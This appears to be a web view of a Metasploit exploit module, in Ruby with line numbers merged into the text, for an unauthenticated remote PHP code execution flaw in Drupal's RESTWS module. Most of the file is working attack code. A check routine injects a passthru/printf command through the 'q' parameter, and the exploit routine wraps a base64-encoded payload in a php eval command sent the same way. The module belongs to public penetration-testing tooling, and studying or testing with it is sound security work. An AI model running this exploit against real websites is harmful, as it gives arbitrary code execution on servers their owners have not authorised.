Path: blob/master/modules/exploits/unix/webapp/drupal_restws_exec.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Drupal RESTWS Module Remote PHP Code Execution',15'Description' => %q{16This module exploits a Remote PHP Code Execution vulnerability in the17Drupal RESTWS Module. Unauthenticated users can execute arbitrary code18under the context of the web server user.1920RESTWS alters the default page callbacks for entities to provide21additional functionality. A vulnerability in this approach allows22an unauthenticated attacker to send specially crafted requests resulting23in arbitrary PHP execution. RESTWS 2.x prior to 2.6 and 1.x prior to 1.724are affected by this issue.2526This module was tested against RESTWS 2.5 with Drupal 7.5 installed on27Ubuntu Server.28},29'License' => MSF_LICENSE,30'Author' => [31'Devin Zuczek', # discovery32'Mehmet Ince <[email protected]>' # msf module33],34'References' => [35['URL', 'https://www.drupal.org/node/2765567']36],37'Privileged' => false,38'Payload' => {39'DisableNops' => true40},41'Platform' => ['php'],42'Arch' => ARCH_PHP,43'Targets' => [ ['Automatic', {}] ],44'DisclosureDate' => '2016-07-13',45'DefaultTarget' => 0,46'Notes' => {47'Reliability' => UNKNOWN_RELIABILITY,48'Stability' => UNKNOWN_STABILITY,49'SideEffects' => UNKNOWN_SIDE_EFFECTS50}51)52)5354register_options(55[56OptString.new('TARGETURI', [true, 'The target URI of the Drupal installation', '/'])57]58)59end6061def check62r = rand_text_alpha(8 + rand(4))6364res = send_request_cgi(65'method' => 'GET',66'uri' => normalize_uri(target_uri.path, 'index.php'),67'vars_get' => {68'q' => "taxonomy_vocabulary//passthru/printf '#{Rex::Text.to_octal(r)}'"69}70)7172if res && res.body.include?(r)73Exploit::CheckCode::Vulnerable74else75Exploit::CheckCode::Safe76end77end7879def exploit80cmd = "php -r 'eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\"));'"8182send_request_cgi(83'method' => 'GET',84'uri' => normalize_uri(target_uri.path, 'index.php'),85'vars_get' => {86'q' => "taxonomy_vocabulary//passthru/#{cmd}"87}88)89end90end919293